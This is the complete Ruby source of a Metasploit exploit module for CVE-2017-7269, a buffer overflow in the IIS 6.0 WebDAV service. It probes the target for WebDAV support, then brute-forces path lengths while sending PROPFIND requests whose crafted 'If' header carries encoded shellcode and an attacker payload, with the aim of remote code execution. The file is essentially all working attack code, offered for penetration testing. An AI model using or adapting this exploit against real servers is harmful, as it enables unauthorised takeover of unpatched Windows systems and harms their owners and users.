## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow', 'Description' => %q{ Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016. Original exploit by Zhiniang Peng and Chen Wu. }, 'Author' => [ 'Zhiniang Peng', # Original author 'Chen Wu', # Original author 'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module 'firefart', # metasploit module 'zcgonvh <zcgonvh@qq.com>', # metasploit module 'Rich Whitcroft' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7269' ], [ 'BID', '97127' ], [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ], [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ] ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, 'DisableNops' => 'True', 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependMigrate' => true, }, 'Targets' => [ [ 'Microsoft Windows Server 2003 R2 SP2', { 'Platform' => 'win', }, ], ], 'Platform' => 'win', 'DisclosureDate' => 'Mar 26 2017', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]), OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]), ]) end def min_path_len datastore['MINPATHLENGTH'] end def max_path_len datastore['MAXPATHLENGTH'] end def supports_webdav?(headers) if headers['MS-Author-Via'] == 'DAV' || headers['DASL'] == '<DAV:sql>' || headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ || headers['Public'] =~ /PROPFIND/ || headers['Allow'] =~ /PROPFIND/ return true else return false end end def check res = send_request_cgi({ 'uri' => target_uri.path, 'method' => 'OPTIONS' }) if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers) return Exploit::CheckCode::Vulnerable elsif res && supports_webdav?(res.headers) return Exploit::CheckCode::Detected elsif res.nil? return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe end end def exploit # extract the local servername and port from a PROPFIND request # these need to be the values from the backend server # if testing a reverse proxy setup, these values differ # from RHOST and RPORT but can be extracted this way vprint_status("Extracting ServerName and Port") res = send_request_raw( 'method' => 'PROPFIND', 'headers' => { 'Content-Length' => 0 }, 'uri' => target_uri.path ) fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207) xml = res.get_xml_document url = URI.parse(xml.at("//a:response//a:href").text) server_name = url.hostname server_port = url.port server_scheme = url.scheme http_host = "#{server_scheme}://#{server_name}:#{server_port}" vprint_status("Using http_host #{http_host}") min_path_len.upto(max_path_len) do |path_len| vprint_status("Trying path length of #{path_len}...") begin buf1 = "<#{http_host}/" buf1 << rand_text_alpha(114 - path_len) buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac" buf1 << ">" buf1 << " (Not <locktoken:write1>) <#{http_host}/" buf1 << rand_text_alpha(114 - path_len) buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81" buf1 << payload.encoded buf1 << ">" vprint_status("Sending payload") res = send_request_raw( 'method' => 'PROPFIND', 'headers' => { 'Content-Length' => 0, 'If' => "#{buf1}" }, 'uri' => target_uri.path ) if res vprint_status("Server returned status #{res.code}") if res.code == 502 || res.code == 400 next elsif session_created? return else vprint_status("Unknown Response: #{res.code}") end end rescue ::Errno::ECONNRESET vprint_status("got a connection reset") next end end end end